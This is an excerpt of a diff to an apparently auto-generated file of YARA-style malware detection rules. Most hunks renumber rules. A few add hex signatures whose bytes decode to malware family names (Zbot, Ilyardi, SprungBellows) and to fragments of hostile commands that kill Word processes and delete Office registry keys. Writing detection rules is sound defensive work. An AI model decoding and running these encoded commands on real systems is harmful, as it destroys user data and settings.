_InfrastructureShared_18248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -203531,7 +217129,7 @@ rule _InfrastructureShared_17124{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_00_3 & 1)*114+(#a_00_4 & 1)*97) >=2 } -rule _InfrastructureShared_17125{ +rule _InfrastructureShared_18249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -203542,7 +217140,7 @@ rule _InfrastructureShared_17125{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_17126{ +rule _InfrastructureShared_18250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203554,7 +217152,7 @@ rule _InfrastructureShared_17126{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*110+(#a_00_3 & 1)*99) >=4 } -rule _InfrastructureShared_17127{ +rule _InfrastructureShared_18251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203567,7 +217165,7 @@ rule _InfrastructureShared_17127{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29806+(#a_00_2 & 1)*68+(#a_65_3 & 1)*25960) >=4 } -rule _InfrastructureShared_17128{ +rule _InfrastructureShared_18252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203580,7 +217178,7 @@ rule _InfrastructureShared_17128{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24864+(#a_01_2 & 1)*28005+(#a_74_3 & 1)*25959) >=4 } -rule _InfrastructureShared_17129{ +rule _InfrastructureShared_18253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203592,7 +217190,7 @@ rule _InfrastructureShared_17129{ ((#a_54_0 & 1)*18467+(#a_d5_1 & 1)*2055+(#a_69_2 & 1)*29285) >=4 } -rule _InfrastructureShared_17130{ +rule _InfrastructureShared_18254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -203603,7 +217201,7 @@ rule _InfrastructureShared_17130{ ((#a_54_0 & 1)*18467+(#a_0a_2 & 1)*23817) >=4 } -rule _InfrastructureShared_17131{ +rule _InfrastructureShared_18255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -203615,7 +217213,7 @@ rule _InfrastructureShared_17131{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_4 & 1)*83) >=4 } -rule _InfrastructureShared_17132{ +rule _InfrastructureShared_18256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -203628,7 +217226,7 @@ rule _InfrastructureShared_17132{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_00_4 & 1)*91+(#a_46_5 & 1)*16675) >=4 } -rule _InfrastructureShared_17133{ +rule _InfrastructureShared_18257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -203643,7 +217241,7 @@ rule _InfrastructureShared_17133{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_58_2 & 1)*29295+(#a_2d_3 & 1)*22083+(#a_00_5 & 1)*111+(#a_00_6 & 1)*108) >=5 } -rule _InfrastructureShared_17134{ +rule _InfrastructureShared_18258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -203656,7 +217254,7 @@ rule _InfrastructureShared_17134{ ((#a_46_0 & 1)*16675+(#a_4d_2 & 1)*8704+(#a_00_4 & 1)*65+(#a_00_6 & 1)*49) >=5 } -rule _InfrastructureShared_17135{ +rule _InfrastructureShared_18259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -203674,7 +217272,7 @@ rule _InfrastructureShared_17135{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*29801+(#a_74_2 & 1)*25601+(#a_6b_3 & 1)*26956+(#a_00_4 & 1)*28518+(#a_2f_5 & 1)*384+(#a_65_6 & 1)*29550+(#a_65_7 & 1)*29811+(#a_00_8 & 1)*6) >=5 } -rule _InfrastructureShared_17136{ +rule _InfrastructureShared_18260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -203687,7 +217285,7 @@ rule _InfrastructureShared_17136{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25932+(#a_2e_2 & 1)*28257+(#a_49_3 & 1)*19770) >=5 } -rule _InfrastructureShared_17137{ +rule _InfrastructureShared_18261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -203697,7 +217295,7 @@ rule _InfrastructureShared_17137{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_17138{ +rule _InfrastructureShared_18262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -203713,7 +217311,7 @@ rule _InfrastructureShared_17138{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*25972+(#a_20_2 & 1)*28257+(#a_65_3 & 1)*24933+(#a_64_4 & 1)*27680+(#a_69_5 & 1)*28261+(#a_32_6 & 1)*28265) >=7 } -rule _InfrastructureShared_17139{ +rule _InfrastructureShared_18263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -203730,7 +217328,7 @@ rule _InfrastructureShared_17139{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*23553+(#a_67_2 & 1)*29284+(#a_54_3 & 1)*18467+(#a_6f_4 & 1)*25970+(#a_2e_5 & 1)*-32487+(#a_61_6 & 1)*29285+(#a_00_7 & 1)*1) >=8 } -rule _InfrastructureShared_17140{ +rule _InfrastructureShared_18264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -203747,7 +217345,7 @@ rule _InfrastructureShared_17140{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25970+(#a_2e_2 & 1)*-32487+(#a_61_3 & 1)*29285+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=8 } -rule _InfrastructureShared_17141{ +rule _InfrastructureShared_18265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -203767,7 +217365,7 @@ rule _InfrastructureShared_17141{ ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*20480+(#a_6d_2 & 1)*385+(#a_52_4 & 1)*21320+(#a_45_5 & 1)*25966+(#a_6c_6 & 1)*25970+(#a_46_7 & 1)*16675+(#a_68_8 & 1)*30789+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=8 } -rule _InfrastructureShared_17142{ +rule _InfrastructureShared_18266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -203784,7 +217382,7 @@ rule _InfrastructureShared_17142{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25964+(#a_64_2 & 1)*29810+(#a_53_3 & 1)*14962+(#a_01_4 & 1)*27745+(#a_00_6 & 1)*107+(#a_63_7 & 1)*29812+(#a_69_8 & 1)*25964) >=9 } -rule _InfrastructureShared_17143{ +rule _InfrastructureShared_18267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -203803,7 +217401,7 @@ rule _InfrastructureShared_17143{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*30789+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_22_6 & 1)*0+(#a_53_7 & 1)*17731+(#a_63_8 & 1)*30309+(#a_6e_9 & 1)*12108) >=9 } -rule _InfrastructureShared_17144{ +rule _InfrastructureShared_18268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -203817,7 +217415,7 @@ rule _InfrastructureShared_17144{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*15904+(#a_45_2 & 1)*17733+(#a_62_3 & 1)*20545+(#a_6e_4 & 1)*12136) >=10 } -rule _InfrastructureShared_17145{ +rule _InfrastructureShared_18269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -203832,7 +217430,7 @@ rule _InfrastructureShared_17145{ ((#a_54_0 & 1)*18467+(#a_63_2 & 1)*21505+(#a_74_3 & 1)*25449+(#a_3a_4 & 1)*24938+(#a_56_5 & 1)*28261+(#a_6b_6 & 1)*8448) >=10 } -rule _InfrastructureShared_17146{ +rule _InfrastructureShared_18270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -203849,7 +217447,7 @@ rule _InfrastructureShared_17146{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*28499+(#a_6f_3 & 1)*20588+(#a_53_4 & 1)*24940+(#a_2e_5 & 1)*31341+(#a_73_6 & 1)*29230+(#a_65_7 & 1)*21295+(#a_00_8 & 1)*32) >=10 } -rule _InfrastructureShared_17147{ +rule _InfrastructureShared_18271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -203869,7 +217467,7 @@ rule _InfrastructureShared_17147{ ((#a_4c_0 & 1)*21539+(#a_7a_1 & 1)*30574+(#a_73_2 & 1)*21038+(#a_54_3 & 1)*18467+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_00_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=11 } -rule _InfrastructureShared_17148{ +rule _InfrastructureShared_18272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 21 " @@ -203893,7 +217491,7 @@ rule _InfrastructureShared_17148{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_22_11 & 1)*0+(#a_74_12 & 1)*26369+(#a_65_13 & 1)*24933+(#a_03_14 & 1)*10) >=12 } -rule _InfrastructureShared_17149{ +rule _InfrastructureShared_18273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -203908,7 +217506,7 @@ rule _InfrastructureShared_17149{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*384+(#a_73_3 & 1)*18533+(#a_01_4 & 1)*30720+(#a_64_5 & 1)*12082+(#a_03_6 & 1)*10) >=16 } -rule _InfrastructureShared_17150{ +rule _InfrastructureShared_18274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 15 00 04 00 21 " @@ -203921,7 +217519,7 @@ rule _InfrastructureShared_17150{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29287+(#a_8b_2 & 1)*1160+(#a_00_3 & 1)*110) >=21 } -rule _InfrastructureShared_17151{ +rule _InfrastructureShared_18275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -203934,7 +217532,7 @@ rule _InfrastructureShared_17151{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_01_2 & 1)*100+(#a_23_3 & 1)*0) >=400 } -rule _InfrastructureShared_17152{ +rule _InfrastructureShared_18276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -203944,7 +217542,7 @@ rule _InfrastructureShared_17152{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_17153{ +rule _InfrastructureShared_18277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -203962,7 +217560,7 @@ rule _InfrastructureShared_17153{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*12358+(#a_37_2 & 1)*13624+(#a_38_3 & 1)*13623+(#a_31_4 & 1)*17200+(#a_72_5 & 1)*8526+(#a_01_6 & 1)*-32241+(#a_00_7 & 1)*9080+(#a_41_9 & 1)*8448) >=1 } -rule _InfrastructureShared_17154{ +rule _InfrastructureShared_18278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -203981,7 +217579,7 @@ rule _InfrastructureShared_17154{ ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*-16077+(#a_90_2 & 1)*-12287+(#a_65_3 & 1)*24943+(#a_c0_4 & 1)*1026+(#a_73_6 & 1)*20993+(#a_20_7 & 1)*25964+(#a_74_8 & 1)*25449+(#a_3a_11 & 1)*19521+(#a_69_12 & 1)*8308) >=1 } -rule _InfrastructureShared_17155{ +rule _InfrastructureShared_18279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -203992,7 +217590,7 @@ rule _InfrastructureShared_17155{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*400) >=2 } -rule _InfrastructureShared_17156{ +rule _InfrastructureShared_18280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -204007,7 +217605,7 @@ rule _InfrastructureShared_17156{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25701+(#a_5d_2 & 1)*23297+(#a_5d_3 & 1)*23297+(#a_63_4 & 1)*30067+(#a_6f_5 & 1)*29813) >=2 } -rule _InfrastructureShared_17157{ +rule _InfrastructureShared_18281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -204023,7 +217621,7 @@ rule _InfrastructureShared_17157{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8293+(#a_54_2 & 1)*11897+(#a_74_3 & 1)*17741+(#a_54_4 & 1)*29295+(#a_30_5 & 1)*12910+(#a_4c_6 & 1)*8993) >=2 } -rule _InfrastructureShared_17158{ +rule _InfrastructureShared_18282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -204038,7 +217636,7 @@ rule _InfrastructureShared_17158{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29795+(#a_6f_2 & 1)*25974+(#a_5f_3 & 1)*26998+(#a_34_4 & 1)*28265+(#a_00_6 & 1)*97) >=3 } -rule _InfrastructureShared_17159{ +rule _InfrastructureShared_18283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204050,7 +217648,7 @@ rule _InfrastructureShared_17159{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*119+(#a_00_3 & 1)*65) >=4 } -rule _InfrastructureShared_17160{ +rule _InfrastructureShared_18284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -204062,7 +217660,7 @@ rule _InfrastructureShared_17160{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114+(#a_00_4 & 1)*48) >=5 } -rule _InfrastructureShared_17161{ +rule _InfrastructureShared_18285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -204075,7 +217673,7 @@ rule _InfrastructureShared_17161{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*21280+(#a_74_2 & 1)*24912+(#a_6d_3 & 1)*28486) >=5 } -rule _InfrastructureShared_17162{ +rule _InfrastructureShared_18286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -204085,7 +217683,7 @@ rule _InfrastructureShared_17162{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_17163{ +rule _InfrastructureShared_18287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -204101,7 +217699,7 @@ rule _InfrastructureShared_17163{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_17164{ +rule _InfrastructureShared_18288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204117,7 +217715,7 @@ rule _InfrastructureShared_17164{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8307+(#a_67_3 & 1)*384+(#a_3a_4 & 1)*21587+(#a_63_5 & 1)*30063+(#a_01_6 & 1)*18484+(#a_01_7 & 1)*6912) >=8 } -rule _InfrastructureShared_17165{ +rule _InfrastructureShared_18289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204132,7 +217730,7 @@ rule _InfrastructureShared_17165{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_72_3 & 1)*385+(#a_48_5 & 1)*8448+(#a_5c_6 & 1)*-32485+(#a_6c_7 & 1)*25705) >=8 } -rule _InfrastructureShared_17166{ +rule _InfrastructureShared_18290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204149,7 +217747,7 @@ rule _InfrastructureShared_17166{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_72_2 & 1)*30287+(#a_61_3 & 1)*27765+(#a_01_4 & 1)*29286+(#a_72_5 & 1)*29285+(#a_6f_6 & 1)*11825+(#a_78_7 & 1)*29697) >=8 } -rule _InfrastructureShared_17167{ +rule _InfrastructureShared_18291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -204166,7 +217764,7 @@ rule _InfrastructureShared_17167{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24935+(#a_73_2 & 1)*25956+(#a_55_3 & 1)*14918+(#a_2f_4 & 1)*27747+(#a_73_5 & 1)*17524+(#a_54_6 & 1)*18490+(#a_90_7 & 1)*17863) >=8 } -rule _InfrastructureShared_17168{ +rule _InfrastructureShared_18292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -204186,7 +217784,7 @@ rule _InfrastructureShared_17168{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26478+(#a_61_2 & 1)*25964+(#a_20_3 & 1)*17748+(#a_00_4 & 1)*21+(#a_32_5 & 1)*28265+(#a_01_6 & 1)*-20638+(#a_00_7 & 1)*-9564+(#a_c8_8 & 1)*-14591+(#a_72_9 & 1)*29793+(#a_2f_10 & 1)*25974) >=8 } -rule _InfrastructureShared_17169{ +rule _InfrastructureShared_18293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 11 00 21 " @@ -204208,7 +217806,7 @@ rule _InfrastructureShared_17169{ ((#a_46_0 & 1)*16675+(#a_3e_1 & 1)*17863+(#a_6b_2 & 1)*28499+(#a_6f_3 & 1)*25376+(#a_63_4 & 1)*28270+(#a_00_6 & 1)*97+(#a_00_7 & 1)*42+(#a_00_8 & 1)*100+(#a_00_10 & 1)*112+(#a_00_11 & 1)*37+(#a_01_13 & 1)*30720+(#a_00_15 & 1)*115+(#a_00_16 & 1)*97) >=21 } -rule _InfrastructureShared_17170{ +rule _InfrastructureShared_18294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -204220,7 +217818,7 @@ rule _InfrastructureShared_17170{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29801+(#a_29_2 & 1)*12801) >=300 } -rule _InfrastructureShared_17171{ +rule _InfrastructureShared_18295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 04 00 21 " @@ -204232,7 +217830,7 @@ rule _InfrastructureShared_17171{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*102+(#a_00_3 & 1)*116) >=200 } -rule _InfrastructureShared_17172{ +rule _InfrastructureShared_18296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -204242,7 +217840,7 @@ rule _InfrastructureShared_17172{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_17173{ +rule _InfrastructureShared_18297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -204258,7 +217856,7 @@ rule _InfrastructureShared_17173{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*5120+(#a_00_4 & 1)*115+(#a_00_5 & 1)*111+(#a_6f_6 & 1)*8292+(#a_20_7 & 1)*28448+(#a_32_8 & 1)*9530) >=1 } -rule _InfrastructureShared_17174{ +rule _InfrastructureShared_18298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -204271,7 +217869,7 @@ rule _InfrastructureShared_17174{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30240+(#a_6b_2 & 1)*12848+(#a_25_3 & 1)*8254) >=2 } -rule _InfrastructureShared_17175{ +rule _InfrastructureShared_18299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -204279,12 +217877,25 @@ rule _InfrastructureShared_17175{ $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 49 6c 79 61 72 64 69 2e 41 00 01 00 0c 01 66 69 6c 6c 59 61 72 64 44 69 72 33 01 00 14 01 70 00 68 00 6f 00 65 00 69 00 61 00 6e 00 6c 00 74 00 68 00 02 00 96 01 54 41 53 4b 4b 49 4c } //16675 $a_46_1 = {2f 49 4d 20 22 57 49 4e 57 4f 52 44 2e 45 58 45 22 0a 54 41 53 4b 4b 49 4c 4c 20 2f 46 20 2f 49 4d 20 22 44 57 32 30 2e 45 58 45 22 0a 54 41 } //8268 $a_49_2 = {4c 20 2f 46 20 2f 49 4d 20 22 44 57 57 49 4e 2e 45 58 45 22 0a 52 45 47 20 44 45 4c 45 54 45 20 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 4f 66 66 69 63 65 5c 31 32 2e 30 5c 57 6f 72 64 5c 52 65 } //19283 - $a_69_3 = {6e 63 79 20 2f 66 02 00 28 01 0f b6 c0 33 d2 6a 05 59 f7 f1 b1 03 33 d2 f6 e9 2c 2e 39 54 24 08 76 0f 8b 4c 24 04 03 ca 30 01 42 3b 54 24 08 72 f1 c3 01 00 0b 01 62 73 6e 61 65 73 76 65 69 72 6f 00 00 78 24 01 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 43 37 21 4d } //26995 + $a_69_3 = {6e 63 79 20 2f 66 02 00 28 01 0f b6 c0 33 d2 6a 05 59 f7 f1 b1 03 33 d2 f6 e9 2c 2e 39 54 24 08 76 0f 8b 4c 24 04 03 ca 30 01 42 3b 54 24 08 72 f1 c3 01 00 0b 01 62 73 6e 61 65 73 76 65 69 72 6f 00 00 78 24 01 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 72 75 6e 67 42 65 6c } //26995 + $a_73_4 = {41 21 64 68 61 00 01 00 92 01 35 00 46 00 36 00 31 00 37 00 32 00 42 00 34 00 32 00 32 00 34 00 38 00 46 00 36 00 41 00 33 00 37 00 31 00 38 00 36 00 37 00 43 00 32 00 30 00 38 00 35 00 45 00 38 00 38 00 44 00 45 00 31 00 28 00 39 00 35 00 32 00 30 00 43 00 44 00 32 00 31 00 30 00 44 00 33 00 46 00 38 00 42 00 45 00 36 00 37 00 44 00 42 00 33 00 38 00 41 } //28524 condition: - ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*8268+(#a_49_2 & 1)*19283+(#a_69_3 & 1)*26995) >=2 + ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*8268+(#a_49_2 & 1)*19283+(#a_69_3 & 1)*26995+(#a_73_4 & 1)*28524) >=2 } -rule _InfrastructureShared_17176{ +rule _InfrastructureShared_18300{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 72 75 6e 67 42 65 6c 6c 6f 77 73 2e 41 21 64 68 61 00 01 00 92 01 35 00 46 00 36 00 31 00 37 00 32 00 42 00 34 00 32 00 32 00 34 00 38 00 46 00 36 00 41 00 33 00 37 00 31 00 } //16675 + $a_00_1 = {37 00 43 00 32 00 30 00 38 00 35 00 45 00 38 00 38 00 44 00 45 00 31 00 28 00 39 00 35 00 32 00 30 00 43 00 44 00 32 00 31 00 30 00 44 00 33 00 46 00 38 00 42 00 } //56 7C2085E88DE1(9520CD210D3F8B + $a_00_2 = {37 00 44 00 42 00 33 00 38 00 41 00 41 00 30 00 41 00 36 00 37 00 33 00 43 00 36 00 33 00 36 00 46 00 32 00 42 00 39 00 34 00 31 00 46 00 45 00 01 00 40 01 45 00 } //69 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*56+(#a_00_2 & 1)*69) >=3 + +} +rule _InfrastructureShared_18301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -204295,7 +217906,7 @@ rule _InfrastructureShared_17176{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*7056) >=4 } -rule _InfrastructureShared_17177{ +rule _InfrastructureShared_18302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204308,7 +217919,7 @@ rule _InfrastructureShared_17177{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29192+(#a_68_2 & 1)*24425+(#a_73_3 & 1)*25458) >=4 } -rule _InfrastructureShared_17178{ +rule _InfrastructureShared_18303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204320,7 +217931,7 @@ rule _InfrastructureShared_17178{ ((#a_54_0 & 1)*18467+(#a_18_2 & 1)*4359+(#a_10_3 & 1)*2560) >=4 } -rule _InfrastructureShared_17179{ +rule _InfrastructureShared_18304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204333,7 +217944,7 @@ rule _InfrastructureShared_17179{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*27022+(#a_50_2 & 1)*13382+(#a_52_3 & 1)*29541) >=4 } -rule _InfrastructureShared_17180{ +rule _InfrastructureShared_18305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -204347,7 +217958,7 @@ rule _InfrastructureShared_17180{ ((#a_54_0 & 1)*16675+(#a_34_1 & 1)*16944+(#a_00_2 & 1)*19054+(#a_35_3 & 1)*14081+(#a_39_4 & 1)*17207) >=4 } -rule _InfrastructureShared_17181{ +rule _InfrastructureShared_18306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -204361,7 +217972,7 @@ rule _InfrastructureShared_17181{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26740+(#a_6c_2 & 1)*26950+(#a_65_3 & 1)*26994+(#a_00_4 & 1)*12800) >=5 } -rule _InfrastructureShared_17182{ +rule _InfrastructureShared_18307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -204372,7 +217983,7 @@ rule _InfrastructureShared_17182{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*12800) >=5 } -rule _InfrastructureShared_17183{ +rule _InfrastructureShared_18308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -204384,7 +217995,7 @@ rule _InfrastructureShared_17183{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*64+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_17184{ +rule _InfrastructureShared_18309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -204399,7 